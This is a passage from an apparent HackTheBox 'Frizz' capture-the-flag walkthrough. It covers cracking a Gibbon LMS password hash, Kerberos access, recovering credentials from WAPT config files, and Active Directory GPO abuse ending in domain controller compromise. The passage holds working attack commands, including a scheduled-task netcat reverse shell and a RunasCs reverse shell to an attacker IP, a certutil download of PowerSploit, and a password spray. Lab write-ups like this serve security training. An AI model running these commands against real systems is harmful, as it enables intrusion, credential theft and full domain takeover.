| phone2Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | |
| phone2CountryCode | varchar(7) | NO | | NULL | |
| phone2 | varchar(20) | NO | | NULL | |
| phone4Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | |
| phone4CountryCode | varchar(7) | NO | | NULL | |
| phone4 | varchar(20) | NO | | NULL | |
| website | varchar(255) | NO | | NULL | |
| languageFirst | varchar(30) | NO | | NULL | |
| languageSecond | varchar(30) | NO | | NULL | |
| languageThird | varchar(30) | NO | | NULL | |
| countryOfBirth | varchar(30) | NO | | NULL | |
| birthCertificateScan | varchar(255) | NO | | NULL | |
| ethnicity | varchar(255) | NO | | NULL | |
| religion | varchar(30) | NO | | NULL | |
| profession | varchar(90) | NO | | NULL | |
| employer | varchar(90) | NO | | NULL | |
| jobTitle | varchar(90) | NO | | NULL | |
| emergency1Name | varchar(90) | NO | | NULL | |
| emergency1Number1 | varchar(30) | NO | | NULL | |
| emergency1Number2 | varchar(30) | NO | | NULL | |
| emergency1Relationship | varchar(30) | NO | | NULL | |
| emergency2Name | varchar(90) | NO | | NULL | |
| emergency2Number1 | varchar(30) | NO | | NULL | |
| emergency2Number2 | varchar(30) | NO | | NULL | |
| emergency2Relationship | varchar(30) | NO | | NULL | |
| gibbonHouseID | int(3) unsigned zerofill | YES | | NULL | |
| studentID | varchar(15) | NO | | NULL | |
| dateStart | date | YES | | NULL | |
| dateEnd | date | YES | | NULL | |
| gibbonSchoolYearIDClassOf | int(3) unsigned zerofill | YES | | NULL | |
| lastSchool | varchar(100) | NO | | NULL | |
| nextSchool | varchar(100) | NO | | NULL | |
| departureReason | varchar(50) | NO | | NULL | |
| transport | varchar(255) | NO | | NULL | |
| transportNotes | text | NO | | NULL | |
| calendarFeedPersonal | text | NO | | NULL | |
| viewCalendarSchool | enum('Y','N') | NO | | Y | |
| viewCalendarPersonal | enum('Y','N') | NO | | Y | |
| viewCalendarSpaceBooking | enum('Y','N') | NO | | N | |
| gibbonApplicationFormID | int(12) unsigned zerofill | YES | | NULL | |
| lockerNumber | varchar(20) | NO | | NULL | |
| vehicleRegistration | varchar(20) | NO | | NULL | |
| personalBackground | varchar(255) | NO | | NULL | |
| messengerLastRead | datetime | YES | | NULL | |
| privacy | text | YES | | NULL | |
| dayType | varchar(255) | YES | | NULL | |
| gibbonThemeIDPersonal | int(4) unsigned zerofill | YES | | NULL | |
| gibboni18nIDPersonal | int(4) unsigned zerofill | YES | | NULL | |
| studentAgreements | text | YES | | NULL | |
| googleAPIRefreshToken | text | NO | | NULL | |
| microsoftAPIRefreshToken | text | NO | | NULL | |
| genericAPIRefreshToken | text | NO | | NULL | |
| receiveNotificationEmails | enum('Y','N') | NO | | Y | |
| mfaSecret | varchar(16) | YES | | NULL | |
| mfaToken | text | YES | | NULL | |
| cookieConsent | enum('Y','N') | YES | | NULL | |
| fields | text | NO | | NULL | |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+

Notice the username, passwordStrong, and passwordStrongSalt fields from here. Let’s query to see whether we have something in here or not:

Terminal window
MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;
+-----------+------------------------------------------------------------------+------------------------+
| username | passwordStrong | passwordStrongSalt |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+
1 row in set (0.279 sec)

Gladly, we have found a password hash along with a salt. The hash looks like a sha-256 based on its length(64-character hex string).

hash-identifier v1.2 analysing 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 and suggesting SHA-256

However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the core/preferencesPasswordProcess.php file, where core is Gibbon-LMS in our case.

github.com favicon
core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core · GitHub
Gibbon is a flexible, open source school management platform designed to make life better for teachers, students, parents and leaders. - core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core
github.com
Terminal window
PS C:xampphtdocsGibbon-LMS> Get-Content preferencesPasswordprocess.php

Hence, our hash is derived using sha256 with salt + password:

Gibbon passwordReset.php source: the SHA-256 password check and the UPDATE gibbonPerson SET passwordStrong query

Hash Cracking

Finding the Right Module

Our target module is 1420 based on the placement of salt in the hash, which we just discussed above.

Terminal window
croc@hacker$ hashcat --help | grep sha256
1470 | sha256(utf16le($pass)) | Raw Hash
1410 | sha256($pass.$salt) | Raw Hash salted and/or iterated
1420 | sha256($salt.$pass) | Raw Hash salted and/or iterated
22300 | sha256($salt.$pass.$salt) | Raw Hash salted and/or iterated
20720 | sha256($salt.sha256($pass)) | Raw Hash salted and/or iterated
21420 | sha256($salt.sha256_bin($pass)) | Raw Hash salted and/or iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash salted and/or iterated
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
20710 | sha256(sha256($pass).$salt) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash salted and/or iterated
6400 | AIX {ssha256} | Operating System
7400 | sha256crypt $5$, SHA256 (Unix) | Operating System
7401 | MySQL $A$ (sha256crypt) | Database Server
20711 | AuthMe sha256 | Enterprise Application Software (EAS)
20300 | Python passlib pbkdf2-sha256 | Framework

Hash.txt

I created a file hash.txt and saved the password hash and salt in the following format:

Terminal window
hash:salt

GNU nano hash.txt holding the salted SHA-256 hash in hash:salt format for hashcat

Cracking the Hash

Terminal window
croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt

hashcat mode 1420 sha256($salt.$pass) cracking the hash to “Jenni_Luvs_Magic23” using rockyou.txt

Hence, the password for f.frizzle is Jenni_Luvs_Magic23.

Bloodhound Collection

After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.

Terminal window
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 48S
croc@hacker$ ls
20250424221856_computers.json 20250424221856_gpos.json 20250424221856_users.json
20250424221856_containers.json 20250424221856_groups.json
20250424221856_domains.json 20250424221856_ous.json

faketime is used in order to tackle the KRB_AP_ERR_SKEW error.

Setting up Kerberos Authentication

Step 01 - Install Client Libraries

If you are faced with any prompts during the installation, just remember to press the magic key “Enter” & go with the defaults.

Terminal window
croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal

Step 02 - Custom KRB5_CONFIG Setup

Here, we set up our custom_krb5.conf file which defines the kerberos realm configuration.

Terminal window
croc@hacker$ LOWER_REALM='frizz.htb'
croc@hacker$ UPPER_REALM='FRIZZ.HTB'
croc@hacker$ DC_HOSTNAME='frizzdc'
croc@hacker$ cat custom_krb5.conf
[libdefaults]
default_realm = $UPPER_REALM
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
$UPPER_REALM = {
kdc = $DC_HOSTNAME.$LOWER_REALM
admin_server = $DC_HOSTNAME.$LOWER_REALM
default_domain = $DC_HOSTNAME.$LOWER_REALM
}
[domain_realm]
$LOWER_REALM = $UPPER_REALM
.$LOWER_REALM = $UPPER_REALM
EOF
croc@hacker$ cat custom_krb5.conf
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
default_domain = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB

Step 03 - Authenticate as f.frizzle

I set up the environment variable KRB5_CONFIG to point to our custom Kerberos configuration file custom_krb5.conf located in our current directory ($PWD). This allows us force Kerberos clients to use custom realm configuration.

Moreover, I initiated an authentication request as f.frizzle to the KDC using kinit, which got successful. As a result, we have a cached credential at /tmp/krb5cc_1001 which we can view using klist.

Terminal window
croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
croc@hacker$ kinit f.frizzle
f.frizzle@FRIZZ.HTB's Password:
croc@hacker$ klist
Credentials cache: FILE:/tmp/krb5cc_1001
Principal: f.frizzle@FRIZZ.HTB
Issued Expires Principal
Apr 25 14:09:12 2025 Apr 26 00:09:12 2025 krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH - GSSAPI Authentication

Now, as we have a cached ticket for f.frizzle, we can use it for Kerberos authentication via SSH:

Terminal window
croc@hacker$ ssh -K f.frizzle@frizz.htb
PowerShell 7.4.5
PS C:Usersf.frizzle>

User.txt

Terminal window
PS C:Usersf.frizzleDesktop> ls
Directory: C:Usersf.frizzleDesktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 4/25/2025 10:02 AM 34 user.txt
PS C:Usersf.frizzleDesktop> cat user.txt
074d*****************************

Shell as M.SchoolBus

Files in Recycle Bin

After hitting my head for a little, I found two .7z files in recycle bin.

Terminal window
PS C:Usersf.frizzle> Get-ChildItem -Recurse -Force 'C:$RECYCLE.BIN'
Directory: C:$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
Directory: C:$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
-a-hs 10/29/2024 7:31 AM 129 desktop.ini

Next, we want to transfer these files to our attackbox. I will restore them into our current user’s Desktop for easy access later on.

Terminal window
PS C:Usersf.frizzle> Copy-Item -Path 'C:$Recycle.BinS-1-5-21-2386970044-1145388522-2932701813-1103*.7z' -Destination "$env:USERPROFILEDesktop"
PS C:Usersf.frizzleDesktop> ls
Directory: C:Usersf.frizzleDesktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
-ar-- 5/2/2025 7:41 PM 34 user.txt

Transfer to Attack Box

Now, we want to transfer these *.7z files back to our kali machine for further analysis.

Terminal window
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD
$IE2XMEG.7z 100% 148 0.6KB/s 00:00
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD
$RE2XMEG.7z 100% 29MB 1.7MB/s 00:17

Notice the format of both files. $RE2XMEG.7z appears to be a legitimate 7-zip archive while we’re not sure about $IE2XMEG.7z.

Terminal window
croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z'
$IE2XMEG.7z: data
$RE2XMEG.7z: 7-zip archive data, version 0.4

Extracting the Files

The first file failed to extract but second one did extract. (As expected)

Terminal window
croc@hacker$ 7z x $RE2XMEG.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)
Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3
Everything is Ok
Folders: 684
Files: 5384
Size: 141187501
Compressed: 30416987
croc@hacker$ ls
'$RE2XMEG.7z' wapt

Enumerating for Sensitive Info

The configuration files are always a good bet to start with. Luckily, I found the following password in waptserver.ini file:

Terminal: cat of WAPT waptserver.ini exposing secret_key, server_uuid, token_secret_key and a base64 wapt_password

I passed the password along the network but it failed. That’s because it was base64-encoded!

Terminal window
croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d
!suBcig@MehTed!R

Trying again revealed our next pivot point which is M.SchoolBus.

Terminal window
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success

netexec SMB Kerberos password spray against frizzdc.frizz.htb returning KDC_ERR_PREAUTH_FAILED for most accounts

Lateral to M.SchoolBus

Cached Ticket

Cleared all cached tickets and cached the ticket for M.SchoolBus:

Terminal window
croc@hacker$ kdestroy
kdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
croc@hacker$ kinit m.schoolbus
m.schoolbus@FRIZZ.HTB's Password:
croc@hacker$ klist
Credentials cache: FILE:/tmp/krb5cc_1001
Principal: m.schoolbus@FRIZZ.HTB
Issued Expires Principal
May 3 21:15:10 2025 May 4 07:15:10 2025 krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH

Terminal window
croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:UsersM.SchoolBus> whoami
frizzm.schoolbus
PS C:UsersM.SchoolBus>

Shell as Root

Bloodhound

Revisiting Bloodhound, I found that m.schoolbus is the member of the Desktop Admins group which is indeed the member of Group Policy Creator Owners group.

BloodHound graph: M.SCHOOLBUS@FRIZZ.HTB is MemberOf DESKTOP ADMINS@FRIZZ.HTB BloodHound graph: DESKTOP ADMINS@FRIZZ.HTB is MemberOf GROUP POLICY CREATOR OWNERS@FRIZZ.HTB

According to Microsoft,

Transfer Powersploit

We will be using the Powersploit suite of tools for GPO enumeration.

github.com favicon
GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit
github.com

On our kali machine, we do the following:

Terminal window
git clone https://github.com/PowerShellMafia/PowerSploit
rm -rf PowerSploit/.git/ #Removed as it is not needed
zip -r PowerSploit.zip PowerSploit
python3 -m http.server 8000

Transferred the zipped file to the target:

Terminal window
PS C:temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip
**** Online ****
000000 ...
20b69d
CertUtil: -URLCache command completed successfully.
PS C:temp> ls
Directory: C:temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/20/2025 6:54 PM 2143901 PowerSploit.zip

Import all the Modules

Now, we extract all the modules in the current directory:

Terminal window
PS C:temp> Expand-Archive .PowerSploit.zip
PS C:temp> ls
Directory: C:temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 7/21/2025 3:07 PM PowerSploit
-a--- 7/21/2025 3:07 PM 2143901 PowerSploit.zip

Next, we downgrade to PowerShell v5 in order to make it work reliably:

Terminal window
PS C:temp> $PSVersionTable
Name Value
---- -----
PSVersion 7.4.5 #Before
PSEdition Core
GitCommitId 7.4.5
OS Microsoft Windows 10.0.20348
Platform Win32NT
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
WSManStackVersion 3.0
PS C:temp> powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:temp> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.20348.2849 #After
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.20348.2849
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1

After that, it’s time to import all the modules:

Terminal window
PS C:temp> Get-ChildItem -Directory .PowerSploitPowerSploit -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }

GPO Enumeration - Permissions

The following command shows which users/groups have what permissions on each existing GPO in the domain.

Terminal window
PS C:temp> Get-GPO -All | Get-GPPermission -All
Trustee : Domain Admins
TrusteeType : Group
Permission : GpoCustom
Inherited : False
Trustee : Enterprise Admins
TrusteeType : Group
Permission : GpoCustom
Inherited : False
Trustee : SYSTEM
TrusteeType : WellKnownGroup
Permission : GpoEditDeleteModifySecurity
Inherited : False
Trustee : Authenticated Users
TrusteeType : WellKnownGroup
Permission : GpoApply
Inherited : False
Trustee : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission : GpoRead
Inherited : False
Trustee : Domain Admins
TrusteeType : Group
Permission : GpoCustom
Inherited : False
Trustee : Enterprise Admins
TrusteeType : Group
Permission : GpoCustom
Inherited : False
Trustee : SYSTEM
TrusteeType : WellKnownGroup
Permission : GpoEditDeleteModifySecurity
Inherited : False
Trustee : Authenticated Users
TrusteeType : WellKnownGroup
Permission : GpoApply
Inherited : False
Trustee : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission : GpoRead
Inherited : False

Looking for Writable OUs

We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.

Terminal window
PS C:temp> Get-DomainOU |
>> Get-DomainObjectAcl -ResolveGUIDs |
>> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } |
>> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}
ObjectDN : OU=Domain Controllers,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
SecurityIdentifier : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid : frizzM.SchoolBus
ObjectDN : OU=Class_Frizz,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
SecurityIdentifier : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid : frizzM.SchoolBus

Hence, we can link our new GPO to any of the both OUs: Domain Controllers or Class_Frizz. However, our target machine is in the Domain Controllers Organizational Unit so it makes more sense to link to that.

Terminal window
PS C:temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *
PS C:temp>
PS C:temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *
DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
DNSHostName : frizzdc.frizz.htb
Enabled : True
Name : FRIZZDC
ObjectClass : computer
ObjectGUID : 36207a23-8d8d-45e2-b127-e4341a0ec93e
SamAccountName : FRIZZDC$
SID : S-1-5-21-2386970044-1145388522-2932701813-1000
UserPrincipalName :

Creating a new GPO and linking to OU

Created a new GPO named Evil Croc GPO using New-GPO cmdlet:

Terminal window
PS C:temp> New-GPO -Name "Evil Croc GPO"
DisplayName : Evil Croc GPO
DomainName : frizz.htb
Owner : frizzM.SchoolBus
Id : 6ff7fae6-caf3-40da-a97f-10fff92a0f08
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 7/24/2025 6:56:02 PM
ModificationTime : 7/24/2025 6:56:02 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :

Linked it to the Domain Controllers OU using New-GPLink cmdlet:

Terminal window
C:temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"
GpoId : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1
DisplayName : Evil Croc GPO
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2

Way #01: Gaining Root - Immediate Scheduled Task

We will be using sharpGPOAbuse.exe in order to perform the immediate scheduled task attack.

github.com favicon
SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
github.com
Terminal window
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTBAdministrator" --Command "cmd.exe" --Arguments "/c C:WindowsTasksnc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{5C5DC385-1956-47B8-B432-376A3A580DBE}MachinePreferencesScheduledTasksScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

Set up a listener on the attack box at 443:

Terminal window
croc@hacker:~$ sudo rlwrap nc -nvlp 443
listening on [any] 443 ...

Force update the group policy to apply our GPO setting on the DC:

PS C:temp> gpupdate.exe /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

Successfully obtained a reverse shell as ntauthority system:

Terminal: netcat listener on 443 catching a reverse shell where whoami returns nt authoritysystem

Way #02: Gaining Root - Adding a Local Admin

We can also make our user m.schoolbus a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:

github.com favicon
SharpGPOAbuse/SharpGPOAbuse-master/README.md at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
github.com
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{48753DD8-2CF7-4859-8BA3-4056612363FD}MachineMicrosoftWindows NTSecEditGptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
PS C:temp> gpupdate.exe /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

We can indeed verify this as well from below:

Terminal window
PS C:temp> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.

However, note that the members of the local admin group are not allowed to SSH into the machine:

Terminal window
PS C:temp> cat C:ProgramDatasshsshd_config

sshd_config Match Group administrators block: DenyGroups Frizz/Administrators, AllowGroups Frizz/Remote Management Users, AllowUsers m.schoolbus and f.frizzle

So, we need to figure another way out.

RunasCS - Reverse Shell as admin

Set up a listener on your machine on whatever port and execute the following command on the target:

Terminal window
PS C:temp> Import-Module .Invoke-RunasCs.ps1
PS C:temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using StationDesktop: Service-0x0-2c55b3$Default
[+] Async process 'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe' with pid 740 created in background.
PS C:temp>

And, we received a connection back as the local admin m.schoolbus:

Terminal window
croc@hacker:~$ sudo rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:Windowssystem32> whoami
whoami
frizzm.schoolbus
PS C:Windowssystem32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:Windowssystem32>

Root.txt

Terminal window
PS C:Windowssystem32> cd c:usersadministratordesktop
cd c:usersadministratordesktop
PS C:usersadministratordesktop> Get-Content root.txt
Get-Content root.txt
b7ac74b06********************